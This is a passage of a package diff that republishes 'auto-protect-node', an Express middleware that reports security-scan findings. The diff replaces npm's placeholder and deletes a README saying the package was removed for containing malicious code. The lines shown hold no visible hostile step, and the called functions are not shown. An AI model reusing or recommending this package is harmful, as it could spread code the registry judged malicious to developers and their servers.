+ if (logsdata.data.passwordHashing === 'password text not stored in hash format') {
996
+ consoleColorText(logsdata.data.passwordHashing, "red");
997
+ } else {
998
+ consoleColorText(logsdata.data.passwordHashing, "blue");
999
+ }
1000
+ consoleColorText(logsdata?.data?.xss?.replace(/,/g, "\n"), "red");
1001
+ consoleColorText(logsdata?.data?.sql?.replace(/,/g, "\n"), "red");
1002
+ consoleColorText(logsdata?.data?.session?.replace(/,/g, "\n"), "red");
1003
+ if (logsdata?.data?.redirect === "Redirect vulnerabilities not found") {
1004
+ consoleColorText(logsdata?.data?.redirect, "blue");
1005
+ } else {
1006
+ consoleColorText(logsdata?.data?.redirect?.replace(/,/g, "\n"), "red");
1007
+ }
1008
+ if (logsdata?.data?.dwp === "Available") {
1009
+ consoleColorText("Default Web Page:" + logsdata?.data?.dwp?.replace(/,/g, "\n"), "blue");
1010
+ } else {
1011
+ consoleColorText("Default Web Page:" + logsdata?.data?.dwp?.replace(/,/g, "\n"), "red");
1012
+ }
1013
+
1014
+ if (logsdata?.data?.OptionMethod === "Option Method is not enabled") {
1015
+ consoleColorText(logsdata?.data?.OptionMethod?.replace(/,/g, "\n"), "blue");
1016
+ } else {
1017
+ consoleColorText("Option Method enabled on: " + logsdata?.data?.OptionMethod, "red");
1018
+ }
1019
+
1020
+ if (logsdata?.data?.DangerousMethods === "Dangerous Methods are not enabled") {
1021
+ consoleColorText('Dangerous Methods are not enabled', "blue");
1022
+ } else {
1023
+ consoleColorText("Dangerous methods enabled: " + logsdata?.data?.DangerousMethods, "red");
1024
+ }
1025
+ return res.status(200).json(logsdata?.data);
1026
+ } else {
1027
+ return res.status(404).json("not found");
1028
+ }
1029
+ }
1030
+ } catch (error) {
1031
+ console.log(JSON.stringify(error.message));
1032
+ return res.status(500).json(error.messsage)
1033
+ }
1034
+ }
1035
+
1036
+ );
1037
+
1038
+ module.exports =async (app, server, sid) => {
1039
+ try {
1040
+ if (!isExpressApplication(app)) {
1041
+ consoleColorText("Please provide a valid Express application", "red");
1042
+ } else if (!isHttpServer(server)) {
1043
+ consoleColorText("Please provide a valid HTTP server", "red");
1044
+ } else if (!sid) {
1045
+ consoleColorText("Please provide a valid hostname", "red");
1046
+ } else if (app && server && sid) {
1047
+ app.use(express.json(), express.urlencoded({ extended: true }));
1048
+ app.use(HostValidator(app, server, sid));
1049
+ app.use(Middleware);
1050
+ app.use(router)
1051
+ CallData(sid)
1052
+ }
1053
+ } catch (error) {
1054
+ // console.log(error);
1055
+ consoleColorText(error.message, "red");
1056
+ }
1057
+ }
package/package.json CHANGED
@@ -1,6 +1,23 @@
1
- {
2
- "name": "auto-protect-node",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "auto-protect-node",
3
+ "version": "1.1.2",
4
+ "description": "auto protect your code",
5
+ "main": "index.js",
6
+ "repository": {
7
+ "type": "git",
8
+ "url": "git+https://github.com/shivam-handsintechnology/auto-protect-node.git"
9
+ },
10
+ "keywords": [
11
+ "security"
12
+ ],
13
+ "author": "handsintechnology",
14
+ "license": "ISC",
15
+ "bugs": {
16
+ "url": "https://github.com/shivam-handsintechnology/auto-protect-node/issues"
17
+ },
18
+ "homepage": "https://github.com/shivam-handsintechnology/auto-protect-node#readme",
19
+ "dependencies": {
20
+ "axios": "^1.4.0",
21
+ "express": "^4.18.2"
22
+ }
23
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=auto-protect-node for more information.